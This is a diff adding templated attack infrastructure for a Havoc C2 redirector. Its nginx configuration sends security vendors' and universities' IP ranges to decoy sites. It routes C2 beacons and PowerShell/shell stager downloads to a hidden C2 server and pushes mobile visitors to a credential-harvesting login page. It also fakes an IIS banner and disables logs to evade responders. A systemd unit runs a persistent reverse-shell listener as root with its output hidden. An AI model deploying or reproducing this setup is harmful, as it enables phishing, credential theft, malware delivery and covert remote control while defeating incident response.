+    "216.115.73.0/24" 1;
+    
+    # Qualys
+    "64.39.96.0/20" 1;
+    "64.41.200.0/24" 1;
+    "92.118.160.0/24" 1;
+    
+    # Rapid7
+    "5.63.0.0/16" 1;
+    "38.107.201.0/24" 1;
+    # "45.60.0.0/16" 1;    # Removed duplicate - already defined for CrowdStrike
+    "71.6.0.0/16" 1;       # Note: This may overlap with Shodan ranges
+    "206.225.0.0/16" 1;
+    
+    # Tenable/Nessus
+    "23.20.0.0/14" 1;      # AWS (Tenable Cloud)
+    "34.192.0.0/12" 1;     # AWS
+    "54.144.0.0/12" 1;     # AWS
+    "162.219.56.0/21" 1;
+    "172.104.0.0/16" 1;    # Linode (common Nessus hosting)
+    
+    # FireEye/Mandiant
+    "23.98.64.0/18" 1;
+    "66.114.168.0/22" 1;
+    "96.43.144.0/20" 1;
+    "173.231.184.0/22" 1;
+    
+    # Akamai
+    "23.0.0.0/12" 1;
+    "23.32.0.0/11" 1;
+    "104.64.0.0/10" 1;
+    
+    # Cloudflare
+    "104.16.0.0/12" 1;
+    "173.245.48.0/20" 1;
+    
+    # Academic Research Networks
+    "128.32.0.0/16" 1;     # UC Berkeley
+    "128.59.0.0/16" 1;     # Columbia University
+    "128.112.0.0/16" 1;    # Princeton University
+    "128.138.0.0/16" 1;    # University of Colorado
+    "128.197.0.0/16" 1;    # Boston University
+    "146.186.0.0/16" 1;    # Carnegie Mellon
+}
+
+# HTTP to HTTPS redirect
+server {
+    listen 80;
+    listen [::]:80;
+    server_name {{ redirector_subdomain }}.{{ domain }};
+    
+    # Redirect to HTTPS
+    return 301 https://$host$request_uri;
+}
+
+# Main HTTPS server
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    server_name {{ redirector_subdomain }}.{{ domain }};
+    
+    # SSL Configuration
+    ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
+    ssl_session_timeout 1d;
+    ssl_session_cache shared:SSL:10m;
+    
+    # Root directory
+    root /var/www/html;
+    index index.html;
+    
+    # Advanced IR Evasion - IMPORTANT: Order matters!
+    
+    # 1. Direct mobile users to credential capture - placed first to ensure it takes priority
+    if ($is_mobile = 1) {
+        return 302 https://$host/login/auth.html;
+    }
+    
+    # 2. Redirect security tools to benign sites
+    if ($is_security_tool) {
+        return 302 https://www.google.com;
+    }
+    
+    # 3. Redirect known security IPs
+    if ($is_known_security_ip) {
+        return 302 https://www.microsoft.com;
+    }
+    
+    # 4. Add timing delay for suspicious connections
+    if ($http_referer ~* (security|scan)) {
+        set $delay_response 1;
+    }
+    
+    # Valid C2 beacon routing - CRITICAL PATHS
+    location ~ ^/api/beacon/ {
+        # Only valid beacons proceed to C2
+        proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(9443) }};
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_ssl_verify off;
+        
+        # Implement artificial delay for suspicious connections
+        if ($delay_response) {
+            limit_rate 1k;  # Slow down response
+        }
+    }
+    
+    # Secure stager delivery routes
+    location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+        # Only valid requests that passed the earlier checks
+        proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+    
+    # Content access for payload delivery
+    location ~ ^/content/(windows|linux)/(.+)$ {
+        # Specific valid content paths
+        proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+
+    # Secure payload delivery path for synced payloads
+    location /resources/ {
+        alias /var/www/resources/;
+        limit_except GET { deny all; }
+        add_header X-Content-Type-Options "nosniff" always;
+        add_header Content-Security-Policy "default-src 'none'" always;
+        add_header X-Frame-Options "DENY" always;
+        add_header Server "Microsoft-IIS/10.0" always;
+        autoindex off;
+        access_log off;
+    }
+    
+    # Credential harvesting login page
+    location ~ ^/login/auth\.html$ {
+        root /var/www;
+        try_files $uri =404;
+        add_header X-Frame-Options "DENY" always;
+    }
+    
+    # Protect credential processing script
+    location ~ ^/login/process\.php$ {
+        # Allow POST only
+        limit_except POST { deny all; }
+        
+        # Process the PHP file
+        root /var/www;
+        include snippets/fastcgi-php.conf;
+        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+    }
+
+    # Block direct access to sensitive files
+    location ~ \.(enc|key|pem|log)$ {
+        deny all;
+        return 404;
+    }
+    
+    {% if setup_integrated_tracker | default(false) | bool %}
+    # Email tracker pixel only (not exposing dashboard)
+    location ~ ^/px/(.+)\.png$ {
+        proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
+        proxy_http_version 1.1;
+        proxy_set_header Host {{ tracker_domain }};
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-Proto https;
+        
+        # Cache control for tracking pixels
+        add_header Cache-Control "no-store, no-cache, must-revalidate" always;
+        expires -1;
+    }
+    {% endif %}
+    
+    # Primary location for legitimate website traffic
+    # This acts as a catch-all for non-matching URIs
+    location / {
+        # Check if this is potentially an attempt to access a non-existent payload
+        if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
+            # If invalid payload URI, redirect to real target
+            return 302 https://www.{{ domain }};
+        }
+        
+        # Otherwise serve legitimate content
+        try_files $uri $uri/ =404;
+    }
+
+    # Security headers
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header X-Frame-Options "SAMEORIGIN" always;
+    add_header X-XSS-Protection "1; mode=block" always;
+    add_header Referrer-Policy "no-referrer" always;
+    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+    
+    # Make server appear as IIS
+    add_header Server "Microsoft-IIS/10.0";
+    
+    # Disable logging
+    {% if zero_logs | default(true) | bool %}
+    access_log off;
+    error_log /dev/null crit;
+    {% endif %}
+}
+
+# Catch-all server block
+server {
+    listen 80 default_server;
+    listen [::]:80 default_server;
+    listen 443 ssl default_server;
+    listen [::]:443 ssl default_server;
+    
+    ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
+    ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
+    
+    # Redirect unknown hosts to legitimate sites
+    return 301 https://www.google.com;
+    
+    access_log off;
+    error_log /dev/null crit;
+}
@@ -0,0 +1,22 @@
+#!/bin/bash
+# Let's Encrypt Certificate Setup Script
+# Run this after setting up DNS records pointing to this server
+
+# Replace these with your actual values if needed
+DOMAIN="{{ domain }}"
+SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}"
+EMAIL="admin@${DOMAIN}"
+
+echo "================================================"
+echo "Let's Encrypt Certificate Setup"
+echo "================================================"
+echo
+echo "Before running this script, make sure:"
+echo "1. DNS records are set up correctly"
+echo "   - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
+echo "2. Port 80 is open to the internet"
+echo
+echo "Run the following command to get your certificate:"
+echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
+echo
+echo "================================================"
@@ -0,0 +1,28 @@
+[Unit]
+Description=Reverse Shell Handler Service
+After=network.target
+
+[Service]
+Type=simple
+User=root
+Group=root
+ExecStart=/root/Tools/shell-handler/persistent-listener.sh
+Restart=always
+RestartSec=10
+
+# Hide process information
+PrivateTmp=true
+ProtectSystem=full
+NoNewPrivileges=true
+
+# Make shell handler hard to find
+StandardOutput=null
+StandardError=null
+
+# Environment variables (configured via Ansible)
+Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}"
+Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}"
+Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}"
+
+[Install]
+WantedBy=multi-user.target
@@ -0,0 +1,22 @@
+# TCP stream configuration for Havoc C2
+stream {
+    # TCP forwarding for Havoc Teamserver
+    server {
+        listen {{ havoc_teamserver_port | default(40056) }};
+        proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }};
+    }
+    
+    # Additional Havoc ports
+    server {
+        listen {{ havoc_http_port | default(8080) }};
+        proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }};
+    }
+    
+    # HTTPS for Havoc - Using a different port to avoid conflicts with web server
+    server {
+        # Changed from default 443 to 9443 to avoid conflict with Nginx HTTPS
+        listen {{ havoc_https_port | default(9443) }};
+        # Still proxy to the C2's HTTPS port
+        proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }};
+    }
+}